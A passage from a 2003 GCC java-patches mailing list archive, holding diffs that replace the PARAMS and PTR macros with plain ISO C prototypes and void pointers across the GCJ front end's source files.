- tree, tree)); -static void search_applicable_methods_list PARAMS ((int, tree, tree, tree, - tree *, tree *)); -static tree find_most_specific_methods_list PARAMS ((tree)); -static int argument_types_convertible PARAMS ((tree, tree)); -static tree patch_invoke PARAMS ((tree, tree, tree)); -static int maybe_use_access_method PARAMS ((int, tree *, tree *)); -static tree lookup_method_invoke PARAMS ((int, tree, tree, tree, tree)); -static tree register_incomplete_type PARAMS ((int, tree, tree, tree)); -static tree check_inner_circular_reference PARAMS ((tree, tree)); -static tree check_circular_reference PARAMS ((tree)); -static tree obtain_incomplete_type PARAMS ((tree)); -static tree java_complete_lhs PARAMS ((tree)); -static tree java_complete_tree PARAMS ((tree)); -static tree maybe_generate_pre_expand_clinit PARAMS ((tree)); -static int analyze_clinit_body PARAMS ((tree, tree)); -static int maybe_yank_clinit PARAMS ((tree)); -static void start_complete_expand_method PARAMS ((tree)); -static void java_complete_expand_method PARAMS ((tree)); -static void java_expand_method_bodies PARAMS ((tree)); -static int unresolved_type_p PARAMS ((tree, tree *)); -static void create_jdep_list PARAMS ((struct parser_ctxt *)); -static tree build_expr_block PARAMS ((tree, tree)); -static tree enter_block PARAMS ((void)); -static tree exit_block PARAMS ((void)); -static tree lookup_name_in_blocks PARAMS ((tree)); -static void maybe_absorb_scoping_blocks PARAMS ((void)); -static tree build_method_invocation PARAMS ((tree, tree)); -static tree build_new_invocation PARAMS ((tree, tree)); -static tree build_assignment PARAMS ((int, int, tree, tree)); -static tree build_binop PARAMS ((enum tree_code, int, tree, tree)); -static tree patch_assignment PARAMS ((tree, tree)); -static tree patch_binop PARAMS ((tree, tree, tree)); -static tree build_unaryop PARAMS ((int, int, tree)); -static tree build_incdec PARAMS ((int, int, tree, int)); -static tree patch_unaryop PARAMS ((tree, tree)); -static tree build_cast PARAMS ((int, tree, tree)); -static tree build_null_of_type PARAMS ((tree)); -static tree patch_cast PARAMS ((tree, tree)); -static int valid_ref_assignconv_cast_p PARAMS ((tree, tree, int)); -static int valid_builtin_assignconv_identity_widening_p PARAMS ((tree, tree)); -static int valid_cast_to_p PARAMS ((tree, tree)); -static int valid_method_invocation_conversion_p PARAMS ((tree, tree)); -static tree try_builtin_assignconv PARAMS ((tree, tree, tree)); -static tree try_reference_assignconv PARAMS ((tree, tree)); -static tree build_unresolved_array_type PARAMS ((tree)); -static int build_type_name_from_array_name PARAMS ((tree, tree *)); -static tree build_array_from_name PARAMS ((tree, tree, tree, tree *)); -static tree build_array_ref PARAMS ((int, tree, tree)); -static tree patch_array_ref PARAMS ((tree)); -static tree make_qualified_name PARAMS ((tree, tree, int)); -static tree merge_qualified_name PARAMS ((tree, tree)); -static tree make_qualified_primary PARAMS ((tree, tree, int)); -static int resolve_qualified_expression_name PARAMS ((tree, tree *, - tree *, tree *)); -static void qualify_ambiguous_name PARAMS ((tree)); -static tree resolve_field_access PARAMS ((tree, tree *, tree *)); -static tree build_newarray_node PARAMS ((tree, tree, int)); -static tree patch_newarray PARAMS ((tree)); -static tree resolve_type_during_patch PARAMS ((tree)); -static tree build_this PARAMS ((int)); -static tree build_wfl_wrap PARAMS ((tree, int)); -static tree build_return PARAMS ((int, tree)); -static tree patch_return PARAMS ((tree)); -static tree maybe_access_field PARAMS ((tree, tree, tree)); -static int complete_function_arguments PARAMS ((tree)); -static int check_for_static_method_reference PARAMS ((tree, tree, tree, - tree, tree)); -static int not_accessible_p PARAMS ((tree, tree, tree, int)); -static void check_deprecation PARAMS ((tree, tree)); -static int class_in_current_package PARAMS ((tree)); -static tree build_if_else_statement PARAMS ((int, tree, tree, tree)); -static tree patch_if_else_statement PARAMS ((tree)); -static tree add_stmt_to_compound PARAMS ((tree, tree, tree)); -static tree add_stmt_to_block PARAMS ((tree, tree, tree)); -static tree patch_exit_expr PARAMS ((tree)); -static tree build_labeled_block PARAMS ((int, tree)); -static tree finish_labeled_statement PARAMS ((tree, tree)); -static tree build_bc_statement PARAMS ((int, int, tree)); -static tree patch_bc_statement PARAMS ((tree)); -static tree patch_loop_statement PARAMS ((tree)); -static tree build_new_loop PARAMS ((tree)); -static tree build_loop_body PARAMS ((int, tree, int)); -static tree finish_loop_body PARAMS ((int, tree, tree, int)); -static tree build_debugable_stmt PARAMS ((int, tree)); -static tree finish_for_loop PARAMS ((int, tree, tree, tree)); -static tree patch_switch_statement PARAMS ((tree)); -static tree string_constant_concatenation PARAMS ((tree, tree)); -static tree build_string_concatenation PARAMS ((tree, tree)); -static tree patch_string_cst PARAMS ((tree)); -static tree patch_string PARAMS ((tree)); -static tree encapsulate_with_try_catch PARAMS ((int, tree, tree, tree)); -static tree build_assertion PARAMS ((int, tree, tree)); -static tree build_try_statement PARAMS ((int, tree, tree)); -static tree build_try_finally_statement PARAMS ((int, tree, tree)); -static tree patch_try_statement PARAMS ((tree)); -static tree patch_synchronized_statement PARAMS ((tree, tree)); -static tree patch_throw_statement PARAMS ((tree, tree)); -static void check_thrown_exceptions PARAMS ((int, tree)); -static int check_thrown_exceptions_do PARAMS ((tree)); -static void purge_unchecked_exceptions PARAMS ((tree)); -static bool ctors_unchecked_throws_clause_p PARAMS ((tree)); -static void check_throws_clauses PARAMS ((tree, tree, tree)); -static void finish_method_declaration PARAMS ((tree)); -static tree build_super_invocation PARAMS ((tree)); -static int verify_constructor_circularity PARAMS ((tree, tree)); -static char *constructor_circularity_msg PARAMS ((tree, tree)); -static tree build_this_super_qualified_invocation PARAMS ((int, tree, tree, - int, int)); -static const char *get_printable_method_name PARAMS ((tree)); -static tree patch_conditional_expr PARAMS ((tree, tree, tree)); -static tree generate_finit PARAMS ((tree)); -static tree generate_instinit PARAMS ((tree)); -static tree build_instinit_invocation PARAMS ((tree)); -static void fix_constructors PARAMS ((tree)); -static tree build_alias_initializer_parameter_list PARAMS ((int, tree, - tree, int *)); -static tree craft_constructor PARAMS ((tree, tree)); -static int verify_constructor_super PARAMS ((tree)); -static tree create_artificial_method PARAMS ((tree, int, tree, tree, tree)); -static void start_artificial_method_body PARAMS ((tree)); -static void end_artificial_method_body PARAMS ((tree)); -static int check_method_redefinition PARAMS ((tree, tree)); -static int check_method_types_complete PARAMS ((tree)); -static void java_check_regular_methods PARAMS ((tree)); -static void java_check_abstract_methods PARAMS ((tree)); -static void unreachable_stmt_error PARAMS ((tree)); -static tree find_expr_with_wfl PARAMS ((tree)); -static void missing_return_error PARAMS ((tree)); -static tree build_new_array_init PARAMS ((int, tree)); -static tree patch_new_array_init PARAMS ((tree, tree)); -static tree maybe_build_array_element_wfl PARAMS ((tree)); -static int array_constructor_check_entry PARAMS ((tree, tree)); -static const char *purify_type_name PARAMS ((const char *)); -static tree fold_constant_for_init PARAMS ((tree, tree)); -static tree strip_out_static_field_access_decl PARAMS ((tree)); -static jdeplist *reverse_jdep_list PARAMS ((struct parser_ctxt *)); -static void static_ref_err PARAMS ((tree, tree, tree)); -static void parser_add_interface PARAMS ((tree, tree, tree)); -static void add_superinterfaces PARAMS ((tree, tree)); -static tree jdep_resolve_class PARAMS ((jdep *)); -static int note_possible_classname PARAMS ((const char *, int)); -static void java_complete_expand_classes PARAMS ((void)); -static void java_complete_expand_class PARAMS ((tree)); -static void java_complete_expand_methods PARAMS ((tree)); -static tree cut_identifier_in_qualified PARAMS ((tree)); -static tree java_stabilize_reference PARAMS ((tree)); -static tree do_unary_numeric_promotion PARAMS ((tree)); -static char * operator_string PARAMS ((tree)); -static tree do_merge_string_cste PARAMS ((tree, const char *, int, int)); -static tree merge_string_cste PARAMS ((tree, tree, int)); -static tree java_refold PARAMS ((tree)); -static int java_decl_equiv PARAMS ((tree, tree)); -static int binop_compound_p PARAMS ((enum tree_code)); -static tree search_loop PARAMS ((tree)); -static int labeled_block_contains_loop_p PARAMS ((tree, tree)); -static int check_abstract_method_definitions PARAMS ((int, tree, tree)); -static void java_check_abstract_method_definitions PARAMS ((tree)); -static void java_debug_context_do PARAMS ((int)); -static void java_parser_context_push_initialized_field PARAMS ((void)); -static void java_parser_context_pop_initialized_field PARAMS ((void)); -static tree reorder_static_initialized PARAMS ((tree)); -static void java_parser_context_suspend PARAMS ((void)); -static void java_parser_context_resume PARAMS ((void)); -static int pop_current_osb PARAMS ((struct parser_ctxt *)); +static void parse_ctor_invocation_error (void); +static tree parse_jdk1_1_error (const char *); +static void complete_class_report_errors (jdep *); +static int process_imports (void); +static void read_import_dir (tree); +static int find_in_imports_on_demand (tree, tree); +static void find_in_imports (tree, tree); +static void check_inner_class_access (tree, tree, tree); +static int check_pkg_class_access (tree, tree, bool); +static void register_package (tree); +static tree resolve_package (tree, tree *, tree *); +static tree resolve_class (tree, tree, tree, tree); +static void declare_local_variables (int, tree, tree); +static void dump_java_tree (enum tree_dump_index, tree); +static void source_start_java_method (tree); +static void source_end_java_method (void); +static tree find_name_in_single_imports (tree); +static void check_abstract_method_header (tree); +static tree lookup_java_interface_method2 (tree, tree); +static tree resolve_expression_name (tree, tree *); +static tree maybe_create_class_interface_decl (tree, tree, tree, tree); +static int check_class_interface_creation (int, int, tree, tree, tree, tree); +static tree patch_method_invocation (tree, tree, tree, int, int *, tree *); +static int breakdown_qualified (tree *, tree *, tree); +static int in_same_package (tree, tree); +static tree resolve_and_layout (tree, tree); +static tree qualify_and_find (tree, tree, tree); +static tree resolve_no_layout (tree, tree); +static int invocation_mode (tree, int); +static tree find_applicable_accessible_methods_list (int, tree, tree, tree); +static void search_applicable_methods_list (int, tree, tree, tree, tree *, tree *); +static tree find_most_specific_methods_list (tree); +static int argument_types_convertible (tree, tree); +static tree patch_invoke (tree, tree, tree); +static int maybe_use_access_method (int, tree *, tree *); +static tree lookup_method_invoke (int, tree, tree, tree, tree); +static tree register_incomplete_type (int, tree, tree, tree); +static tree check_inner_circular_reference (tree, tree); +static tree check_circular_reference (tree); +static tree obtain_incomplete_type (tree); +static tree java_complete_lhs (tree); +static tree java_complete_tree (tree); +static tree maybe_generate_pre_expand_clinit (tree); +static int analyze_clinit_body (tree, tree); +static int maybe_yank_clinit (tree); +static void start_complete_expand_method (tree); +static void java_complete_expand_method (tree); +static void java_expand_method_bodies (tree); +static int unresolved_type_p (tree, tree *); +static void create_jdep_list (struct parser_ctxt *); +static tree build_expr_block (tree, tree); +static tree enter_block (void); +static tree exit_block (void); +static tree lookup_name_in_blocks (tree); +static void maybe_absorb_scoping_blocks (void); +static tree build_method_invocation (tree, tree); +static tree build_new_invocation (tree, tree); +static tree build_assignment (int, int, tree, tree); +static tree build_binop (enum tree_code, int, tree, tree); +static tree patch_assignment (tree, tree); +static tree patch_binop (tree, tree, tree); +static tree build_unaryop (int, int, tree); +static tree build_incdec (int, int, tree, int); +static tree patch_unaryop (tree, tree); +static tree build_cast (int, tree, tree); +static tree build_null_of_type (tree); +static tree patch_cast (tree, tree); +static int valid_ref_assignconv_cast_p (tree, tree, int); +static int valid_builtin_assignconv_identity_widening_p (tree, tree); +static int valid_cast_to_p (tree, tree); +static int valid_method_invocation_conversion_p (tree, tree); +static tree try_builtin_assignconv (tree, tree, tree); +static tree try_reference_assignconv (tree, tree); +static tree build_unresolved_array_type (tree); +static int build_type_name_from_array_name (tree, tree *); +static tree build_array_from_name (tree, tree, tree, tree *); +static tree build_array_ref (int, tree, tree); +static tree patch_array_ref (tree); +static tree make_qualified_name (tree, tree, int); +static tree merge_qualified_name (tree, tree); +static tree make_qualified_primary (tree, tree, int); +static int resolve_qualified_expression_name (tree, tree *, tree *, tree *); +static void qualify_ambiguous_name (tree); +static tree resolve_field_access (tree, tree *, tree *); +static tree build_newarray_node (tree, tree, int); +static tree patch_newarray (tree); +static tree resolve_type_during_patch (tree); +static tree build_this (int); +static tree build_wfl_wrap (tree, int); +static tree build_return (int, tree); +static tree patch_return (tree); +static tree maybe_access_field (tree, tree, tree); +static int complete_function_arguments (tree); +static int check_for_static_method_reference (tree, tree, tree, tree, tree); +static int not_accessible_p (tree, tree, tree, int); +static void check_deprecation (tree, tree); +static int class_in_current_package (tree); +static tree build_if_else_statement (int, tree, tree, tree); +static tree patch_if_else_statement (tree); +static tree add_stmt_to_compound (tree, tree, tree); +static tree add_stmt_to_block (tree, tree, tree); +static tree patch_exit_expr (tree); +static tree build_labeled_block (int, tree); +static tree finish_labeled_statement (tree, tree); +static tree build_bc_statement (int, int, tree); +static tree patch_bc_statement (tree); +static tree patch_loop_statement (tree); +static tree build_new_loop (tree); +static tree build_loop_body (int, tree, int); +static tree finish_loop_body (int, tree, tree, int); +static tree build_debugable_stmt (int, tree); +static tree finish_for_loop (int, tree, tree, tree); +static tree patch_switch_statement (tree); +static tree string_constant_concatenation (tree, tree); +static tree build_string_concatenation (tree, tree); +static tree patch_string_cst (tree); +static tree patch_string (tree); +static tree encapsulate_with_try_catch (int, tree, tree, tree); +static tree build_assertion (int, tree, tree); +static tree build_try_statement (int, tree, tree); +static tree build_try_finally_statement (int, tree, tree); +static tree patch_try_statement (tree); +static tree patch_synchronized_statement (tree, tree); +static tree patch_throw_statement (tree, tree); +static void check_thrown_exceptions (int, tree); +static int check_thrown_exceptions_do (tree); +static void purge_unchecked_exceptions (tree); +static bool ctors_unchecked_throws_clause_p (tree); +static void check_throws_clauses (tree, tree, tree); +static void finish_method_declaration (tree); +static tree build_super_invocation (tree); +static int verify_constructor_circularity (tree, tree); +static char *constructor_circularity_msg (tree, tree); +static tree build_this_super_qualified_invocation (int, tree, tree, int, int); +static const char *get_printable_method_name (tree); +static tree patch_conditional_expr (tree, tree, tree); +static tree generate_finit (tree); +static tree generate_instinit (tree); +static tree build_instinit_invocation (tree); +static void fix_constructors (tree); +static tree build_alias_initializer_parameter_list (int, tree, tree, int *); +static tree craft_constructor (tree, tree); +static int verify_constructor_super (tree); +static tree create_artificial_method (tree, int, tree, tree, tree); +static void start_artificial_method_body (tree); +static void end_artificial_method_body (tree); +static int check_method_redefinition (tree, tree); +static int check_method_types_complete (tree); +static void java_check_regular_methods (tree); +static void java_check_abstract_methods (tree); +static void unreachable_stmt_error (tree); +static tree find_expr_with_wfl (tree); +static void missing_return_error (tree); +static tree build_new_array_init (int, tree); +static tree patch_new_array_init (tree, tree); +static tree maybe_build_array_element_wfl (tree); +static int array_constructor_check_entry (tree, tree); +static const char *purify_type_name (const char *); +static tree fold_constant_for_init (tree, tree); +static tree strip_out_static_field_access_decl (tree); +static jdeplist *reverse_jdep_list (struct parser_ctxt *); +static void static_ref_err (tree, tree, tree); +static void parser_add_interface (tree, tree, tree); +static void add_superinterfaces (tree, tree); +static tree jdep_resolve_class (jdep *); +static int note_possible_classname (const char *, int); +static void java_complete_expand_classes (void); +static void java_complete_expand_class (tree); +static void java_complete_expand_methods (tree); +static tree cut_identifier_in_qualified (tree); +static tree java_stabilize_reference (tree); +static tree do_unary_numeric_promotion (tree); +static char * operator_string (tree); +static tree do_merge_string_cste (tree, const char *, int, int); +static tree merge_string_cste (tree, tree, int); +static tree java_refold (tree); +static int java_decl_equiv (tree, tree); +static int binop_compound_p (enum tree_code); +static tree search_loop (tree); +static int labeled_block_contains_loop_p (tree, tree); +static int check_abstract_method_definitions (int, tree, tree); +static void java_check_abstract_method_definitions (tree); +static void java_debug_context_do (int); +static void java_parser_context_push_initialized_field (void); +static void java_parser_context_pop_initialized_field (void); +static tree reorder_static_initialized (tree); +static void java_parser_context_suspend (void); +static void java_parser_context_resume (void); +static int pop_current_osb (struct parser_ctxt *); /* JDK 1.1 work. FIXME */ -static tree maybe_make_nested_class_name PARAMS ((tree)); -static int make_nested_class_name PARAMS ((tree)); -static void set_nested_class_simple_name_value PARAMS ((tree, int)); -static void link_nested_class_to_enclosing PARAMS ((void)); -static tree resolve_inner_class PARAMS ((htab_t, tree, tree *, tree *, tree)); -static tree find_as_inner_class PARAMS ((tree, tree, tree)); -static tree find_as_inner_class_do PARAMS ((tree, tree)); -static int check_inner_class_redefinition PARAMS ((tree, tree)); +static tree maybe_make_nested_class_name (tree); +static int make_nested_class_name (tree); +static void set_nested_class_simple_name_value (tree, int); +static void link_nested_class_to_enclosing (void); +static tree resolve_inner_class (htab_t, tree, tree *, tree *, tree); +static tree find_as_inner_class (tree, tree, tree); +static tree find_as_inner_class_do (tree, tree); +static int check_inner_class_redefinition (tree, tree); + +static tree build_thisn_assign (void); +static tree build_current_thisn (tree); +static tree build_access_to_thisn (tree, tree, int); +static tree maybe_build_thisn_access_method (tree); + +static tree build_outer_field_access (tree, tree); +static tree build_outer_field_access_methods (tree); +static tree build_outer_field_access_expr (int, tree, tree, tree, tree); +static tree build_outer_method_access_method (tree); +static tree build_new_access_id (void); +static tree build_outer_field_access_method (tree, tree, tree, tree, tree); + +static int outer_field_access_p (tree, tree); +static int outer_field_expanded_access_p (tree, tree *, tree *, tree *); +static tree outer_field_access_fix (tree, tree, tree); +static tree build_incomplete_class_ref (int, tree); +static tree patch_incomplete_class_ref (tree); +static tree create_anonymous_class (int, tree); +static void patch_anonymous_class (tree, tree, tree); +static void add_inner_class_fields (tree, tree); + +static tree build_dot_class_method (tree); +static tree build_dot_class_method_invocation (tree); +static void create_new_parser_context (int); +static void mark_parser_ctxt (void *); +static tree maybe_build_class_init_for_field (tree, tree); -static tree build_thisn_assign PARAMS ((void)); -static tree build_current_thisn PARAMS ((tree)); -static tree build_access_to_thisn PARAMS ((tree, tree, int)); -static tree maybe_build_thisn_access_method PARAMS ((tree)); +static int attach_init_test_initialization_flags (PTR *, PTR); +static int emit_test_initialization (PTR *, PTR); -static tree build_outer_field_access PARAMS ((tree, tree)); -static tree build_outer_field_access_methods PARAMS ((tree)); -static tree build_outer_field_access_expr PARAMS ((int, tree, tree, - tree, tree)); -static tree build_outer_method_access_method PARAMS ((tree)); -static tree build_new_access_id PARAMS ((void)); -static tree build_outer_field_access_method PARAMS ((tree, tree, tree, - tree, tree)); - -static int outer_field_access_p PARAMS ((tree, tree)); -static int outer_field_expanded_access_p PARAMS ((tree, tree *, - tree *, tree *)); -static tree outer_field_access_fix PARAMS ((tree, tree, tree)); -static tree build_incomplete_class_ref PARAMS ((int, tree)); -static tree patch_incomplete_class_ref PARAMS ((tree)); -static tree create_anonymous_class PARAMS ((int, tree)); -static void patch_anonymous_class PARAMS ((tree, tree, tree)); -static void add_inner_class_fields PARAMS ((tree, tree)); - -static tree build_dot_class_method PARAMS ((tree)); -static tree build_dot_class_method_invocation PARAMS ((tree)); -static void create_new_parser_context PARAMS ((int)); -static void mark_parser_ctxt PARAMS ((void *)); -static tree maybe_build_class_init_for_field PARAMS ((tree, tree)); - -static int attach_init_test_initialization_flags PARAMS ((PTR *, PTR)); -static int emit_test_initialization PARAMS ((PTR *, PTR)); - -static char *string_convert_int_cst PARAMS ((tree)); +static char *string_convert_int_cst (tree); /* Number of error found so far. */ int java_error_count; diff -rup orig/egcc-CVS20030109/gcc/java/typeck.c egcc-CVS20030109/gcc/java/typeck.c --- orig/egcc-CVS20030109/gcc/java/typeck.c Wed Jan 1 16:00:38 2003 +++ egcc-CVS20030109/gcc/java/typeck.c Thu Jan 9 14:42:52 2003 @@ -39,11 +39,11 @@ The Free Software Foundation is independ #include "toplev.h" #include "ggc.h" -static tree convert_ieee_real_to_integer PARAMS ((tree, tree)); -static tree parse_signature_type PARAMS ((const unsigned char **, - const unsigned char *)); -static tree lookup_do PARAMS ((tree, tree, tree, tree, tree (*)(tree))); -static tree build_null_signature PARAMS ((tree)); +static tree convert_ieee_real_to_integer (tree, tree); +static tree parse_signature_type (const unsigned char **, + const unsigned char *); +static tree lookup_do (tree, tree, tree, tree, tree (*)(tree)); +static tree build_null_signature (tree); tree * type_map; @@ -790,7 +790,7 @@ has_method (class, method_name) static tree lookup_do (searched_class, searched_interface, method_name, signature, signature_builder) tree searched_class, searched_interface, method_name, signature; - tree (*signature_builder) PARAMS ((tree)); + tree (*signature_builder) (tree); { tree method; diff -rup orig/egcc-CVS20030109/gcc/java/verify.c egcc-CVS20030109/gcc/java/verify.c --- orig/egcc-CVS20030109/gcc/java/verify.c Wed Jan 1 16:00:38 2003 +++ egcc-CVS20030109/gcc/java/verify.c Thu Jan 9 14:43:12 2003 @@ -36,12 +36,12 @@ The Free Software Foundation is independ #include "java-except.h" #include "toplev.h" -static void push_pending_label PARAMS ((tree)); -static tree merge_types PARAMS ((tree, tree)); -static const char *check_pending_block PARAMS ((tree)); -static void type_stack_dup PARAMS ((int, int)); -static int start_pc_cmp PARAMS ((const PTR, const PTR)); -static char *pop_argument_types PARAMS ((tree)); +static void push_pending_label (tree); +static tree merge_types (tree, tree); +static const char *check_pending_block (tree); +static void type_stack_dup (int, int); +static int start_pc_cmp (const PTR, const PTR); +static char *pop_argument_types (tree); extern int stack_pointer; diff -rup orig/egcc-CVS20030109/gcc/java/xref.c egcc-CVS20030109/gcc/java/xref.c --- orig/egcc-CVS20030109/gcc/java/xref.c Thu Jan 2 07:00:42 2003 +++ egcc-CVS20030109/gcc/java/xref.c Thu Jan 9 14:44:12 2003 @@ -81,7 +81,7 @@ expand_xref (node) { /* Maintain these two cached. */ static FILE *fp = NULL; - static void (*current_expand) PARAMS ((FILE *, tree)) = NULL; + static void (*current_expand) (FILE *, tree) = NULL; if ( !flag_emit_xref ) return; diff -rup orig/egcc-CVS20030109/gcc/java/xref.h egcc-CVS20030109/gcc/java/xref.h --- orig/egcc-CVS20030109/gcc/java/xref.h Wed Jan 1 16:00:38 2003 +++ egcc-CVS20030109/gcc/java/xref.h Thu Jan 9 14:43:50 2003 @@ -24,11 +24,11 @@ of Sun Microsystems, Inc. in the United The Free Software Foundation is independent of Sun Microsystems, Inc. */ /* Exported functions. */ -int xref_flag_value PARAMS ((const char *)); -void expand_xref PARAMS ((tree)); -void xref_set_data PARAMS ((int, void *)); -void *xref_get_data PARAMS ((int)); -void xref_set_current_fp PARAMS ((FILE *)); +int xref_flag_value (const char *); +void expand_xref (tree); +void xref_set_data (int, void *); +void *xref_get_data (int); +void xref_set_current_fp (FILE *); /* flag_emit_xref range of possible values. */ @@ -40,7 +40,7 @@ enum { typedef struct { char *key; /* Activator in -fxref= */ - void (*expand) PARAMS ((FILE *, tree)); /* Function to write xrefs out */ + void (*expand) (FILE *, tree); /* Function to write xrefs out */ FILE *fp; /* fp to use during the call. */ void *data; /* Placeholder for additional data */ } xref_flag_table; diff -rup orig/egcc-CVS20030109/gcc/java/zextract.c egcc-CVS20030109/gcc/java/zextract.c --- orig/egcc-CVS20030109/gcc/java/zextract.c Thu Jan 2 07:00:42 2003 +++ egcc-CVS20030109/gcc/java/zextract.c Thu Jan 9 14:44:27 2003 @@ -214,9 +214,9 @@ typedef unsigned long ulg; /* pred /* Prototypes */ /***********************/ -static ush makeword PARAMS ((const uch *)); -static ulg makelong PARAMS ((const uch *)); -static long find_zip_file_start PARAMS ((int fd, long offset)); +static ush makeword (const uch *); +static ulg makelong (const uch *); +static long find_zip_file_start (int fd, long offset); /***********************/ /* Function makeword() */ diff -rup orig/egcc-CVS20030109/gcc/java/zipfile.h egcc-CVS20030109/gcc/java/zipfile.h --- orig/egcc-CVS20030109/gcc/java/zipfile.h Thu Jan 2 07:00:42 2003 +++ egcc-CVS20030109/gcc/java/zipfile.h Thu Jan 9 14:44:40 2003 @@ -60,10 +60,9 @@ extern struct ZipFile *SeenZipFiles; ((ZipDirectory*)((char*)(ZIPD)+(ZIPD)->direntry_size)) #define ZIPMAGIC 0x504b0304 -extern ZipFile * opendir_in_zip PARAMS ((const char *, int)); -extern int read_zip_archive PARAMS ((ZipFile *)); +extern ZipFile * opendir_in_zip (const char *, int); +extern int read_zip_archive (ZipFile *); #ifdef GCC_JCF_H -extern int read_zip_member PARAMS ((JCF*, ZipDirectory*, ZipFile *)); -extern int open_in_zip PARAMS ((struct JCF *, const char *, - const char *, int)); +extern int read_zip_member (JCF*, ZipDirectory*, ZipFile *); +extern int open_in_zip (struct JCF *, const char *, const char *, int); #endif From java-patches-return-5776-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 10 03:17:15 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7247 invoked by alias); 10 Jan 2003 03:17:13 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 7233 invoked from network); 10 Jan 2003 03:17:13 -0000 Received: from unknown (HELO caip.rutgers.edu) (128.6.236.10) by 209.249.29.67 with SMTP; 10 Jan 2003 03:17:13 -0000 Received: (from ghazi@localhost) by caip.rutgers.edu (8.9.3/8.9.3) id WAA23966; Thu, 9 Jan 2003 22:17:01 -0500 (EST) Date: Thu, 9 Jan 2003 22:17:01 -0500 (EST) From: "Kaveh R. Ghazi" Message-Id: <200301100317.WAA23966@caip.rutgers.edu> To: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Patch installed to eliminate uses of PTR macro in java dir Pre-approved in private email by Andrew Haley Tested on sparc-sun-solaris2.7. 2003-01-09 Kaveh R. Ghazi * class.c, gjavah.c, parse.y, verify.c: Don't use PTR. diff -rup orig/egcc-CVS20030109/gcc/java/class.c egcc-CVS20030109/gcc/java/class.c --- orig/egcc-CVS20030109/gcc/java/class.c 2003-01-09 18:13:19.000000000 -0500 +++ egcc-CVS20030109/gcc/java/class.c 2003-01-09 19:09:48.597204000 -0500 @@ -2314,7 +2314,7 @@ java_treetreehash_new (ht, t) htab_t ht; tree t; { - PTR *e; + void **e; struct treetreehash_entry *tthe; hashval_t hv = JAVA_TREEHASHHASH_H (t); @@ -2323,7 +2323,7 @@ java_treetreehash_new (ht, t) { tthe = (*ht->alloc_f) (1, sizeof (*tthe)); tthe->key = t; - *e = (PTR) tthe; + *e = tthe; } else tthe = (struct treetreehash_entry *) *e; diff -rup orig/egcc-CVS20030109/gcc/java/gjavah.c egcc-CVS20030109/gcc/java/gjavah.c --- orig/egcc-CVS20030109/gcc/java/gjavah.c 2003-01-09 18:13:19.000000000 -0500 +++ egcc-CVS20030109/gcc/java/gjavah.c 2003-01-09 20:32:41.642119000 -0500 @@ -1127,8 +1127,8 @@ throwable_p (clname) if (! init_done) { - PTR *slot; - const unsigned char *str; + void **slot; + unsigned char *str; /* Self-initializing. The cost of this really doesn't matter. We also don't care about freeing these, either. */ @@ -1140,11 +1140,11 @@ throwable_p (clname) /* Make sure the root classes show up in the tables. */ str = xstrdup ("java.lang.Throwable"); slot = htab_find_slot (throw_hash, str, INSERT); - *slot = (PTR) str; + *slot = str; str = xstrdup ("java.lang.Object"); slot = htab_find_slot (non_throw_hash, str, INSERT); - *slot = (PTR) str; + *slot = str; init_done = 1; } @@ -1166,7 +1166,7 @@ throwable_p (clname) else { JCF jcf; - PTR *slot; + void **slot; unsigned char *super, *tmp; int super_length = -1; const char *classfile_name = find_class (current, strlen (current), diff -rup orig/egcc-CVS20030109/gcc/java/parse.y egcc-CVS20030109/gcc/java/parse.y --- orig/egcc-CVS20030109/gcc/java/parse.y 2003-01-09 18:13:20.000000000 -0500 +++ egcc-CVS20030109/gcc/java/parse.y 2003-01-09 20:34:44.251164000 -0500 @@ -324,8 +324,8 @@ static void create_new_parser_context (i static void mark_parser_ctxt (void *); static tree maybe_build_class_init_for_field (tree, tree); -static int attach_init_test_initialization_flags (PTR *, PTR); -static int emit_test_initialization (PTR *, PTR); +static int attach_init_test_initialization_flags (void **, void *); +static int emit_test_initialization (void **, void *); static char *string_convert_int_cst (tree); @@ -2672,11 +2672,11 @@ create_new_parser_context (copy_from_pre new = (struct parser_ctxt *)xmalloc(sizeof (struct parser_ctxt)); if (copy_from_previous) { - memcpy ((PTR)new, (PTR)ctxp, sizeof (struct parser_ctxt)); + memcpy (new, ctxp, sizeof (struct parser_ctxt)); new->saved_data_ctx = 1; } else - memset ((PTR) new, 0, sizeof (struct parser_ctxt)); + memset (new, 0, sizeof (struct parser_ctxt)); new->next = ctxp; ctxp = new; @@ -7051,7 +7051,7 @@ register_package (name) tree name; { static htab_t pht; - PTR *e; + void **e; if (pht == NULL) pht = htab_create (50, htab_hash_pointer, htab_eq_pointer, NULL); @@ -16243,8 +16243,8 @@ init_src_parse () static int attach_init_test_initialization_flags (entry, ptr) - PTR *entry; - PTR ptr; + void **entry; + void *ptr; { tree block = (tree)ptr; struct treetreehash_entry *ite = (struct treetreehash_entry *) *entry; @@ -16265,8 +16265,8 @@ attach_init_test_initialization_flags (e static int emit_test_initialization (entry_p, info) - PTR *entry_p; - PTR info; + void **entry_p; + void *info; { tree l = (tree) info; tree decl, init; diff -rup orig/egcc-CVS20030109/gcc/java/verify.c egcc-CVS20030109/gcc/java/verify.c --- orig/egcc-CVS20030109/gcc/java/verify.c 2003-01-09 18:13:20.000000000 -0500 +++ egcc-CVS20030109/gcc/java/verify.c 2003-01-09 19:09:48.717133000 -0500 @@ -40,7 +40,7 @@ static void push_pending_label (tree); static tree merge_types (tree, tree); static const char *check_pending_block (tree); static void type_stack_dup (int, int); -static int start_pc_cmp (const PTR, const PTR); +static int start_pc_cmp (const void *, const void *); static char *pop_argument_types (tree); extern int stack_pointer; @@ -351,8 +351,8 @@ struct pc_index /* A helper that is used when sorting exception ranges. */ static int start_pc_cmp (xp, yp) - const PTR xp; - const PTR yp; + const void *xp; + const void *yp; { const struct pc_index *x = (const struct pc_index *) xp; const struct pc_index *y = (const struct pc_index *) yp; From java-patches-return-5777-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 10 03:39:33 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1534 invoked by alias); 10 Jan 2003 03:39:32 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: 